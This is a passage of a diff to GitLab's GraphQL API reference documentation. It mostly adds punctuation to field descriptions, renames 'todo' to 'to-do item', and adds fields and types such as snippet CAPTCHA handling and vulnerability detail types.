+| `rawPath` | String! | Blob raw content endpoint path. | +| `renderedAsText` | Boolean! | Shows whether the blob is rendered as text. | +| `richData` | String | Blob highlighted data. | +| `richViewer` | SnippetBlobViewer | Blob content rich viewer. | +| `simpleViewer` | SnippetBlobViewer! | Blob content simple viewer. | +| `size` | Int! | Blob size. | ### SnippetBlobViewer @@ -3425,13 +3623,13 @@ Represents how the blob content should be displayed. | Field | Type | Description | | ----- | ---- | ----------- | -| `collapsed` | Boolean! | Shows whether the blob should be displayed collapsed | -| `fileType` | String! | Content file type | -| `loadAsync` | Boolean! | Shows whether the blob content is loaded async | -| `loadingPartialName` | String! | Loading partial name | -| `renderError` | String | Error rendering the blob content | -| `tooLarge` | Boolean! | Shows whether the blob too large to be displayed | -| `type` | BlobViewersType! | Type of blob viewer | +| `collapsed` | Boolean! | Shows whether the blob should be displayed collapsed. | +| `fileType` | String! | Content file type. | +| `loadAsync` | Boolean! | Shows whether the blob content is loaded asynchronously. | +| `loadingPartialName` | String! | Loading partial name. | +| `renderError` | String | Error rendering the blob content. | +| `tooLarge` | Boolean! | Shows whether the blob too large to be displayed. | +| `type` | BlobViewersType! | Type of blob viewer. | ### SnippetPermissions @@ -3456,31 +3654,31 @@ Represents the Geo sync and verification state of a snippet repository. | `lastSyncedAt` | Time | Timestamp of the most recent successful sync of the SnippetRepositoryRegistry | | `retryAt` | Time | Timestamp after which the SnippetRepositoryRegistry should be resynced | | `retryCount` | Int | Number of consecutive failed sync attempts of the SnippetRepositoryRegistry | -| `snippetRepositoryId` | ID! | ID of the Snippet Repository | +| `snippetRepositoryId` | ID! | ID of the Snippet Repository. | | `state` | RegistryState | Sync state of the SnippetRepositoryRegistry | ### StatusAction | Field | Type | Description | | ----- | ---- | ----------- | -| `buttonTitle` | String | Title for the button, for example: Retry this job | -| `icon` | String | Icon used in the action button | -| `method` | String | Method for the action, for example: :post | -| `path` | String | Path for the action | -| `title` | String | Title for the action, for example: Retry | +| `buttonTitle` | String | Title for the button, for example: Retry this job. | +| `icon` | String | Icon used in the action button. | +| `method` | String | Method for the action, for example: :post. | +| `path` | String | Path for the action. | +| `title` | String | Title for the action, for example: Retry. | ### Submodule | Field | Type | Description | | ----- | ---- | ----------- | -| `flatPath` | String! | Flat path of the entry | -| `id` | ID! | ID of the entry | -| `name` | String! | Name of the entry | -| `path` | String! | Path of the entry | -| `sha` | String! | Last commit sha for the entry | -| `treeUrl` | String | Tree URL for the sub-module | -| `type` | EntryType! | Type of tree entry | -| `webUrl` | String | Web URL for the sub-module | +| `flatPath` | String! | Flat path of the entry. | +| `id` | ID! | ID of the entry. | +| `name` | String! | Name of the entry. | +| `path` | String! | Path of the entry. | +| `sha` | String! | Last commit SHA for the entry. | +| `treeUrl` | String | Tree URL for the sub-module. | +| `type` | EntryType! | Type of tree entry. | +| `webUrl` | String | Web URL for the sub-module. | ### TaskCompletionStatus @@ -3488,20 +3686,20 @@ Completion status of tasks. | Field | Type | Description | | ----- | ---- | ----------- | -| `completedCount` | Int! | Number of completed tasks | -| `count` | Int! | Number of total tasks | +| `completedCount` | Int! | Number of completed tasks. | +| `count` | Int! | Number of total tasks. | ### TerraformState | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | Timestamp the Terraform state was created | -| `id` | ID! | ID of the Terraform state | -| `latestVersion` | TerraformStateVersion | The latest version of the Terraform state | -| `lockedAt` | Time | Timestamp the Terraform state was locked | -| `lockedByUser` | User | The user currently holding a lock on the Terraform state | -| `name` | String! | Name of the Terraform state | -| `updatedAt` | Time! | Timestamp the Terraform state was updated | +| `createdAt` | Time! | Timestamp the Terraform state was created. | +| `id` | ID! | ID of the Terraform state. | +| `latestVersion` | TerraformStateVersion | The latest version of the Terraform state. | +| `lockedAt` | Time | Timestamp the Terraform state was locked. | +| `lockedByUser` | User | The user currently holding a lock on the Terraform state. | +| `name` | String! | Name of the Terraform state. | +| `updatedAt` | Time! | Timestamp the Terraform state was updated. | ### TerraformStateDeletePayload @@ -3534,13 +3732,13 @@ Autogenerated return type of TerraformStateUnlock. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | Timestamp the version was created | -| `createdByUser` | User | The user that created this version | -| `downloadPath` | String | URL for downloading the version's JSON file | -| `id` | ID! | ID of the Terraform state version | -| `job` | CiJob | The job that created this version | -| `serial` | Int | Serial number of the version | -| `updatedAt` | Time! | Timestamp the version was updated | +| `createdAt` | Time! | Timestamp the version was created. | +| `createdByUser` | User | The user that created this version. | +| `downloadPath` | String | URL for downloading the version's JSON file. | +| `id` | ID! | ID of the Terraform state version. | +| `job` | CiJob | The job that created this version. | +| `serial` | Int | Serial number of the version. | +| `updatedAt` | Time! | Timestamp the version was updated. | ### TerraformStateVersionRegistry @@ -3555,7 +3753,7 @@ Represents the Geo sync and verification state of a terraform state version. | `retryAt` | Time | Timestamp after which the TerraformStateVersionRegistry should be resynced | | `retryCount` | Int | Number of consecutive failed sync attempts of the TerraformStateVersionRegistry | | `state` | RegistryState | Sync state of the TerraformStateVersionRegistry | -| `terraformStateVersionId` | ID! | ID of the terraform state version | +| `terraformStateVersionId` | ID! | ID of the terraform state version. | ### TestReport @@ -3563,10 +3761,10 @@ Represents a requirement test report. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User | Author of the test report | -| `createdAt` | Time! | Timestamp of when the test report was created | -| `id` | ID! | ID of the test report | -| `state` | TestReportState! | State of the test report | +| `author` | User | Author of the test report. | +| `createdAt` | Time! | Timestamp of when the test report was created. | +| `id` | ID! | ID of the test report. | +| `state` | TestReportState! | State of the test report. | ### TimeReportStats @@ -3574,9 +3772,9 @@ Represents the time report stats for timeboxes. | Field | Type | Description | | ----- | ---- | ----------- | -| `complete` | TimeboxMetrics | Completed issues metrics | -| `incomplete` | TimeboxMetrics | Incomplete issues metrics | -| `total` | TimeboxMetrics | Total issues metrics | +| `complete` | TimeboxMetrics | Completed issues metrics. | +| `incomplete` | TimeboxMetrics | Incomplete issues metrics. | +| `total` | TimeboxMetrics | Total issues metrics. | ### TimeboxMetrics @@ -3584,8 +3782,8 @@ Represents measured stats metrics for timeboxes. | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int! | The count metric | -| `weight` | Int! | The weight metric | +| `count` | Int! | The count metric. | +| `weight` | Int! | The weight metric. | ### TimeboxReport @@ -3593,34 +3791,34 @@ Represents a historically accurate report about the timebox. | Field | Type | Description | | ----- | ---- | ----------- | -| `burnupTimeSeries` | BurnupChartDailyTotals! => Array | Daily scope and completed totals for burnup charts | -| `stats` | TimeReportStats | Represents the time report stats for the timebox | +| `burnupTimeSeries` | BurnupChartDailyTotals! => Array | Daily scope and completed totals for burnup charts. | +| `stats` | TimeReportStats | Represents the time report stats for the timebox. | ### Timelog | Field | Type | Description | | ----- | ---- | ----------- | -| `issue` | Issue | The issue that logged time was added to | -| `note` | Note | The note where the quick action to add the logged time was executed | -| `spentAt` | Time | Timestamp of when the time tracked was spent at | -| `timeSpent` | Int! | The time spent displayed in seconds | -| `user` | User! | The user that logged the time | +| `issue` | Issue | The issue that logged time was added to. | +| `note` | Note | The note where the quick action to add the logged time was executed. | +| `spentAt` | Time | Timestamp of when the time tracked was spent at. | +| `timeSpent` | Int! | The time spent displayed in seconds. | +| `user` | User! | The user that logged the time. | ### Todo -Representing a todo entry. +Representing a to-do entry. | Field | Type | Description | | ----- | ---- | ----------- | -| `action` | TodoActionEnum! | Action of the todo | -| `author` | User! | The author of this todo | -| `body` | String! | Body of the todo | -| `createdAt` | Time! | Timestamp this todo was created | -| `group` | Group | Group this todo is associated with | -| `id` | ID! | ID of the todo | -| `project` | Project | The project this todo is associated with | -| `state` | TodoStateEnum! | State of the todo | -| `targetType` | TodoTargetEnum! | Target type of the todo | +| `action` | TodoActionEnum! | Action of the to-do item. | +| `author` | User! | The author of this to-do item. | +| `body` | String! | Body of the to-do item. | +| `createdAt` | Time! | Timestamp this to-do item was created. | +| `group` | Group | Group this to-do item is associated with. | +| `id` | ID! | ID of the to-do item. | +| `project` | Project | The project this to-do item is associated with. | +| `state` | TodoStateEnum! | State of the to-do item. | +| `targetType` | TodoTargetEnum! | Target type of the to-do item. | ### TodoCreatePayload @@ -3630,7 +3828,7 @@ Autogenerated return type of TodoCreate. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `todo` | Todo | The to-do created. | +| `todo` | Todo | The to-do item created. | ### TodoMarkDonePayload @@ -3640,7 +3838,7 @@ Autogenerated return type of TodoMarkDone. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `todo` | Todo! | The requested todo. | +| `todo` | Todo! | The requested to-do item. | ### TodoRestoreManyPayload @@ -3650,8 +3848,8 @@ Autogenerated return type of TodoRestoreMany. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `todos` | Todo! => Array | Updated todos. | -| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2. | +| `todos` | Todo! => Array | Updated to-do items. | +| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use to-do items. Deprecated in 13.2. | ### TodoRestorePayload @@ -3661,7 +3859,7 @@ Autogenerated return type of TodoRestore. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `todo` | Todo! | The requested todo. | +| `todo` | Todo! | The requested to-do item. | ### TodosMarkAllDonePayload @@ -3671,8 +3869,8 @@ Autogenerated return type of TodosMarkAllDone. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `todos` | Todo! => Array | Updated todos. | -| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2. | +| `todos` | Todo! => Array | Updated to-do items. | +| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use to-do items. Deprecated in 13.2. | ### ToggleAwardEmojiPayload @@ -3689,10 +3887,10 @@ Autogenerated return type of ToggleAwardEmoji. | Field | Type | Description | | ----- | ---- | ----------- | -| `blobs` | BlobConnection! | Blobs of the tree | -| `lastCommit` | Commit | Last commit for the tree | -| `submodules` | SubmoduleConnection! | Sub-modules of the tree | -| `trees` | TreeEntryConnection! | Trees of the tree | +| `blobs` | BlobConnection! | Blobs of the tree. | +| `lastCommit` | Commit | Last commit for the tree. | +| `submodules` | SubmoduleConnection! | Sub-modules of the tree. | +| `trees` | TreeEntryConnection! | Trees of the tree. | ### TreeEntry @@ -3700,14 +3898,14 @@ Represents a directory. | Field | Type | Description | | ----- | ---- | ----------- | -| `flatPath` | String! | Flat path of the entry | -| `id` | ID! | ID of the entry | -| `name` | String! | Name of the entry | -| `path` | String! | Path of the entry | -| `sha` | String! | Last commit sha for the entry | -| `type` | EntryType! | Type of tree entry | -| `webPath` | String | Web path for the tree entry (directory) | -| `webUrl` | String | Web URL for the tree entry (directory) | +| `flatPath` | String! | Flat path of the entry. | +| `id` | ID! | ID of the entry. | +| `name` | String! | Name of the entry. | +| `path` | String! | Path of the entry. | +| `sha` | String! | Last commit SHA for the entry. | +| `type` | EntryType! | Type of tree entry. | +| `webPath` | String | Web path for the tree entry (directory). | +| `webUrl` | String | Web URL for the tree entry (directory). | ### UpdateAlertStatusPayload @@ -3719,7 +3917,7 @@ Autogenerated return type of UpdateAlertStatus. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation. | -| `todo` | Todo | The todo after mutation. | +| `todo` | Todo | The to-do item after mutation. | ### UpdateBoardEpicUserPreferencesPayload @@ -3771,16 +3969,6 @@ Autogenerated return type of UpdateContainerExpirationPolicy. | `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy after mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -### UpdateDevopsAdoptionSegmentPayload - -Autogenerated return type of UpdateDevopsAdoptionSegment. - -| Field | Type | Description | -| ----- | ---- | ----------- | -| `clientMutationId` | String | A unique identifier for the client performing the mutation. | -| `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `segment` | DevopsAdoptionSegment | The segment after mutation. | - ### UpdateEpicPayload Autogenerated return type of UpdateEpic. @@ -3857,36 +4045,40 @@ Autogenerated return type of UpdateSnippet. | Field | Type | Description | | ----- | ---- | ----------- | +| `captchaSiteKey` | String | The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `needsCaptchaResponse` | Boolean | Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | | `snippet` | Snippet | The snippet after mutation. | -| `spam` | Boolean | Indicates whether the operation returns a record detected as spam. | +| `spam` | Boolean | Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response. | +| `spamLogId` | Int | The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | ### User | Field | Type | Description | | ----- | ---- | ----------- | -| `assignedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user | -| `authoredMergeRequests` | MergeRequestConnection | Merge Requests authored by the user | -| `avatarUrl` | String | URL of the user's avatar | +| `assignedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user. | +| `authoredMergeRequests` | MergeRequestConnection | Merge Requests authored by the user. | +| `avatarUrl` | String | URL of the user's avatar. | +| `bot` | Boolean! | Indicates if the user is a bot. | | `email` **{warning-solid}** | String | **Deprecated:** Use public_email. Deprecated in 13.7. | -| `groupCount` | Int | Group count for the user Available only when feature flag `user_group_counts` is enabled. | -| `groupMemberships` | GroupMemberConnection | Group memberships of the user | -| `id` | ID! | ID of the user | +| `groupCount` | Int | Group count for the user. Available only when feature flag `user_group_counts` is enabled. | +| `groupMemberships` | GroupMemberConnection | Group memberships of the user. | +| `id` | ID! | ID of the user. | | `location` | String | The location of the user. | -| `name` | String! | Human-readable name of the user | -| `projectMemberships` | ProjectMemberConnection | Project memberships of the user | -| `publicEmail` | String | User's public email | -| `reviewRequestedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user for review | -| `snippets` | SnippetConnection | Snippets authored by the user | -| `starredProjects` | ProjectConnection | Projects starred by the user | -| `state` | UserState! | State of the user | -| `status` | UserStatus | User status | -| `todos` | TodoConnection! | Todos of the user | +| `name` | String! | Human-readable name of the user. | +| `projectMemberships` | ProjectMemberConnection | Project memberships of the user. | +| `publicEmail` | String | User's public email. | +| `reviewRequestedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user for review. | +| `snippets` | SnippetConnection | Snippets authored by the user. | +| `starredProjects` | ProjectConnection | Projects starred by the user. | +| `state` | UserState! | State of the user. | +| `status` | UserStatus | User status. | +| `todos` | TodoConnection! | To-do items of the user. | | `userPermissions` | UserPermissions! | Permissions for the current user on the resource | -| `username` | String! | Username of the user. Unique within this instance of GitLab | -| `webPath` | String! | Web path of the user | -| `webUrl` | String! | Web URL of the user | +| `username` | String! | Username of the user. Unique within this instance of GitLab. | +| `webPath` | String! | Web path of the user. | +| `webUrl` | String! | Web URL of the user. | ### UserPermissions @@ -3898,9 +4090,9 @@ Autogenerated return type of UpdateSnippet. | Field | Type | Description | | ----- | ---- | ----------- | -| `availability` | AvailabilityEnum! | User availability status | -| `emoji` | String | String representation of emoji | -| `message` | String | User status message | +| `availability` | AvailabilityEnum! | User availability status. | +| `emoji` | String | String representation of emoji. | +| `message` | String | User status message. | | `messageHtml` | String | HTML of the user status message | ### VulnerabilitiesCountByDay @@ -3910,12 +4102,12 @@ Represents the count of vulnerabilities by severity on a particular day. This da | Field | Type | Description | | ----- | ---- | ----------- | | `critical` | Int! | Total number of vulnerabilities on a particular day with critical severity | -| `date` | ISO8601Date! | Date for the count | +| `date` | ISO8601Date! | Date for the count. | | `high` | Int! | Total number of vulnerabilities on a particular day with high severity | | `info` | Int! | Total number of vulnerabilities on a particular day with info severity | | `low` | Int! | Total number of vulnerabilities on a particular day with low severity | | `medium` | Int! | Total number of vulnerabilities on a particular day with medium severity | -| `total` | Int! | Total number of vulnerabilities on a particular day | +| `total` | Int! | Total number of vulnerabilities on a particular day. | | `unknown` | Int! | Total number of vulnerabilities on a particular day with unknown severity | ### VulnerabilitiesCountByDayAndSeverity @@ -3924,9 +4116,9 @@ Represents the number of vulnerabilities for a particular severity on a particul | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int | Number of vulnerabilities | -| `day` | ISO8601Date | Date for the count | -| `severity` | VulnerabilitySeverity | Severity of the counted vulnerabilities | +| `count` | Int | Number of vulnerabilities. | +| `day` | ISO8601Date | Date for the count. | +| `severity` | VulnerabilitySeverity | Severity of the counted vulnerabilities. | ### Vulnerability @@ -3934,34 +4126,35 @@ Represents a vulnerability. | Field | Type | Description | | ----- | ---- | ----------- | -| `confirmedAt` | Time | Timestamp of when the vulnerability state was changed to confirmed | +| `confirmedAt` | Time | Timestamp of when the vulnerability state was changed to confirmed. | | `confirmedBy` | User | The user that confirmed the vulnerability. | -| `description` | String | Description of the vulnerability | -| `detectedAt` | Time! | Timestamp of when the vulnerability was first detected | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `dismissedAt` | Time | Timestamp of when the vulnerability state was changed to dismissed | +| `description` | String | Description of the vulnerability. | +| `details` | VulnerabilityDetail! => Array | Details of the vulnerability. | +| `detectedAt` | Time! | Timestamp of when the vulnerability was first detected. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `dismissedAt` | Time | Timestamp of when the vulnerability state was changed to dismissed. | | `dismissedBy` | User | The user that dismissed the vulnerability. | -| `externalIssueLinks` | VulnerabilityExternalIssueLinkConnection! | List of external issue links related to the vulnerability | +| `externalIssueLinks` | VulnerabilityExternalIssueLinkConnection! | List of external issue links related to the vulnerability. | | `hasSolutions` | Boolean | Indicates whether there is a solution available for this vulnerability. | -| `id` | ID! | GraphQL ID of the vulnerability | +| `id` | ID! | GraphQL ID of the vulnerability. | | `identifiers` | VulnerabilityIdentifier! => Array | Identifiers of the vulnerability. | -| `issueLinks` | VulnerabilityIssueLinkConnection! | List of issue links related to the vulnerability | -| `location` | VulnerabilityLocation | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability | +| `issueLinks` | VulnerabilityIssueLinkConnection! | List of issue links related to the vulnerability. | +| `location` | VulnerabilityLocation | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability. | | `mergeRequest` | MergeRequest | Merge request that fixes the vulnerability. | -| `notes` | NoteConnection! | All notes on this noteable | +| `notes` | NoteConnection! | All notes on this noteable. | | `primaryIdentifier` | VulnerabilityIdentifier | Primary identifier of the vulnerability. | -| `project` | Project | The project on which the vulnerability was found | +| `project` | Project | The project on which the vulnerability was found. | | `reportType` | VulnerabilityReportType | Type of the security report that found the vulnerability (SAST, DEPENDENCY_SCANNING, CONTAINER_SCANNING, DAST, SECRET_DETECTION, COVERAGE_FUZZING, API_FUZZING) | -| `resolvedAt` | Time | Timestamp of when the vulnerability state was changed to resolved | +| `resolvedAt` | Time | Timestamp of when the vulnerability state was changed to resolved. | | `resolvedBy` | User | The user that resolved the vulnerability. | -| `resolvedOnDefaultBranch` | Boolean! | Indicates whether the vulnerability is fixed on the default branch or not | +| `resolvedOnDefaultBranch` | Boolean! | Indicates whether the vulnerability is fixed on the default branch or not. | | `scanner` | VulnerabilityScanner | Scanner metadata for the vulnerability. | | `severity` | VulnerabilitySeverity | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL) | | `state` | VulnerabilityState | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED) | -| `title` | String | Title of the vulnerability | -| `userNotesCount` | Int! | Number of user notes attached to the vulnerability | +| `title` | String | Title of the vulnerability. | +| `userNotesCount` | Int! | Number of user notes attached to the vulnerability. | | `userPermissions` | VulnerabilityPermissions! | Permissions for the current user on the resource | -| `vulnerabilityPath` | String | URL to the vulnerability's details page | +| `vulnerabilityPath` | String | URL to the vulnerability's details page. | ### VulnerabilityConfirmPayload @@ -3973,6 +4166,155 @@ Autogenerated return type of VulnerabilityConfirm. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `vulnerability` | Vulnerability | The vulnerability after state change. | +### VulnerabilityDetailBase + +Represents the vulnerability details base. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | + +### VulnerabilityDetailBoolean + +Represents the vulnerability details boolean value. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | +| `value` | Boolean! | Value of the field. | + +### VulnerabilityDetailCode + +Represents the vulnerability details code field. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `lang` | String | Language of the code. | +| `name` | String! | Name of the field. | +| `value` | String! | Source code. | + +### VulnerabilityDetailCommit + +Represents the vulnerability details commit field. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | +| `value` | String! | The commit SHA value. | + +### VulnerabilityDetailDiff + +Represents the vulnerability details diff field. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `after` | String! | Value of the field after the change. | +| `before` | String! | Value of the field before the change. | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | + +### VulnerabilityDetailFileLocation + +Represents the vulnerability details location within a file in the project. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `fileName` | String! | File name. | +| `lineEnd` | Int! | End line number of the file location. | +| `lineStart` | Int! | Start line number of the file location. | +| `name` | String! | Name of the field. | + +### VulnerabilityDetailInt + +Represents the vulnerability details integer value. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | +| `value` | Int! | Value of the field. | + +### VulnerabilityDetailList + +Represents the vulnerability details list value. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `items` | VulnerabilityDetail! => Array | List of details. | +| `name` | String! | Name of the field. | + +### VulnerabilityDetailMarkdown + +Represents the vulnerability details Markdown field. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | +| `value` | String! | Value of the Markdown field. | + +### VulnerabilityDetailModuleLocation + +Represents the vulnerability details location within a file in the project. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `moduleName` | String! | Module name. | +| `name` | String! | Name of the field. | +| `offset` | Int! | Offset of the module location. | + +### VulnerabilityDetailTable + +Represents the vulnerability details table value. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `headers` | VulnerabilityDetail! => Array | Table headers. | +| `name` | String! | Name of the field. | +| `rows` | VulnerabilityDetail! => Array | Table rows. | + +### VulnerabilityDetailText + +Represents the vulnerability details text field. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `name` | String! | Name of the field. | +| `value` | String! | Value of the text field. | + +### VulnerabilityDetailUrl + +Represents the vulnerability details URL field. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String! | Description of the field. | +| `fieldName` | String | Name of the field. | +| `href` | String! | Href of the URL. | +| `name` | String! | Name of the field. | +| `text` | String | Text of the URL. | + ### VulnerabilityDismissPayload Autogenerated return type of VulnerabilityDismiss. @@ -3989,9 +4331,9 @@ Represents an external issue link of a vulnerability. | Field | Type | Description | | ----- | ---- | ----------- | -| `externalIssue` | ExternalIssue | The external issue attached to the issue link | -| `id` | VulnerabilitiesExternalIssueLinkID! | GraphQL ID of the external issue link | -| `linkType` | VulnerabilityExternalIssueLinkType! | Type of the external issue link | +| `externalIssue` | ExternalIssue | The external issue attached to the issue link. | +| `id` | VulnerabilitiesExternalIssueLinkID! | GraphQL ID of the external issue link. | +| `linkType` | VulnerabilityExternalIssueLinkType! | Type of the external issue link. | ### VulnerabilityExternalIssueLinkCreatePayload @@ -4018,10 +4360,10 @@ Represents a vulnerability identifier. | Field | Type | Description | | ----- | ---- | ----------- | -| `externalId` | String | External ID of the vulnerability identifier | -| `externalType` | String | External type of the vulnerability identifier | -| `name` | String | Name of the vulnerability identifier | -| `url` | String | URL of the vulnerability identifier | +| `externalId` | String | External ID of the vulnerability identifier. | +| `externalType` | String | External type of the vulnerability identifier. | +| `name` | String | Name of the vulnerability identifier. | +| `url` | String | URL of the vulnerability identifier. | ### VulnerabilityIssueLink @@ -4029,9 +4371,9 @@ Represents an issue link of a vulnerability. | Field | Type | Description | | ----- | ---- | ----------- | -| `id` | ID! | GraphQL ID of the vulnerability | -| `issue` | Issue! | The issue attached to issue link | -| `linkType` | VulnerabilityIssueLinkType! | Type of the issue link | +| `id` | ID! | GraphQL ID of the vulnerability. | +| `issue` | Issue! | The issue attached to issue link. | +| `linkType` | VulnerabilityIssueLinkType! | Type of the issue link. | ### VulnerabilityLocationContainerScanning @@ -4039,9 +4381,9 @@ Represents the location of a vulnerability found by a container security scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `dependency` | VulnerableDependency | Dependency containing the vulnerability | -| `image` | String | Name of the vulnerable container image | -| `operatingSystem` | String | Operating system that runs on the vulnerable container image | +| `dependency` | VulnerableDependency | Dependency containing the vulnerability. | +| `image` | String | Name of the vulnerable container image. | +| `operatingSystem` | String | Operating system that runs on the vulnerable container image. | ### VulnerabilityLocationCoverageFuzzing @@ -4049,11 +4391,12 @@ Represents the location of a vulnerability found by a Coverage Fuzzing scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `endLine` | String | Number of the last relevant line in the vulnerable file | -| `file` | String | Path to the vulnerable file | -| `startLine` | String | Number of the first relevant line in the vulnerable file | -| `vulnerableClass` | String | Class containing the vulnerability | -| `vulnerableMethod` | String | Method containing the vulnerability | +| `blobPath` | String | Blob path to the vulnerable file. | +| `endLine` | String | Number of the last relevant line in the vulnerable file. | +| `file` | String | Path to the vulnerable file. | +| `startLine` | String | Number of the first relevant line in the vulnerable file. | +| `vulnerableClass` | String | Class containing the vulnerability. | +| `vulnerableMethod` | String | Method containing the vulnerability. | ### VulnerabilityLocationDast @@ -4061,10 +4404,10 @@ Represents the location of a vulnerability found by a DAST scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `hostname` | String | Domain name of the vulnerable request | -| `param` | String | Query parameter for the URL on which the vulnerability occurred | -| `path` | String | URL path and query string of the vulnerable request | -| `requestMethod` | String | HTTP method of the vulnerable request | +| `hostname` | String | Domain name of the vulnerable request. | +| `param` | String | Query parameter for the URL on which the vulnerability occurred. | +| `path` | String | URL path and query string of the vulnerable request. | +| `requestMethod` | String | HTTP method of the vulnerable request. | ### VulnerabilityLocationDependencyScanning @@ -4072,8 +4415,9 @@ Represents the location of a vulnerability found by a dependency security scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `dependency` | VulnerableDependency | Dependency containing the vulnerability | -| `file` | String | Path to the vulnerable file | +| `blobPath` | String | Blob path to the vulnerable file. | +| `dependency` | VulnerableDependency | Dependency containing the vulnerability. | +| `file` | String | Path to the vulnerable file. | ### VulnerabilityLocationSast @@ -4081,11 +4425,12 @@ Represents the location of a vulnerability found by a SAST scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `endLine` | String | Number of the last relevant line in the vulnerable file | -| `file` | String | Path to the vulnerable file | -| `startLine` | String | Number of the first relevant line in the vulnerable file | -| `vulnerableClass` | String | Class containing the vulnerability | -| `vulnerableMethod` | String | Method containing the vulnerability | +| `blobPath` | String | Blob path to the vulnerable file. | +| `endLine` | String | Number of the last relevant line in the vulnerable file. | +| `file` | String | Path to the vulnerable file. | +| `startLine` | String | Number of the first relevant line in the vulnerable file. | +| `vulnerableClass` | String | Class containing the vulnerability. | +| `vulnerableMethod` | String | Method containing the vulnerability. | ### VulnerabilityLocationSecretDetection @@ -4093,11 +4438,12 @@ Represents the location of a vulnerability found by a secret detection scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `endLine` | String | Number of the last relevant line in the vulnerable file | -| `file` | String | Path to the vulnerable file | -| `startLine` | String | Number of the first relevant line in the vulnerable file | -| `vulnerableClass` | String | Class containing the vulnerability | -| `vulnerableMethod` | String | Method containing the vulnerability | +| `blobPath` | String | Blob path to the vulnerable file. | +| `endLine` | String | Number of the last relevant line in the vulnerable file. | +| `file` | String | Path to the vulnerable file. | +| `startLine` | String | Number of the first relevant line in the vulnerable file. | +| `vulnerableClass` | String | Class containing the vulnerability. | +| `vulnerableMethod` | String | Method containing the vulnerability. | ### VulnerabilityPermissions @@ -4141,10 +4487,10 @@ Represents a vulnerability scanner. | Field | Type | Description | | 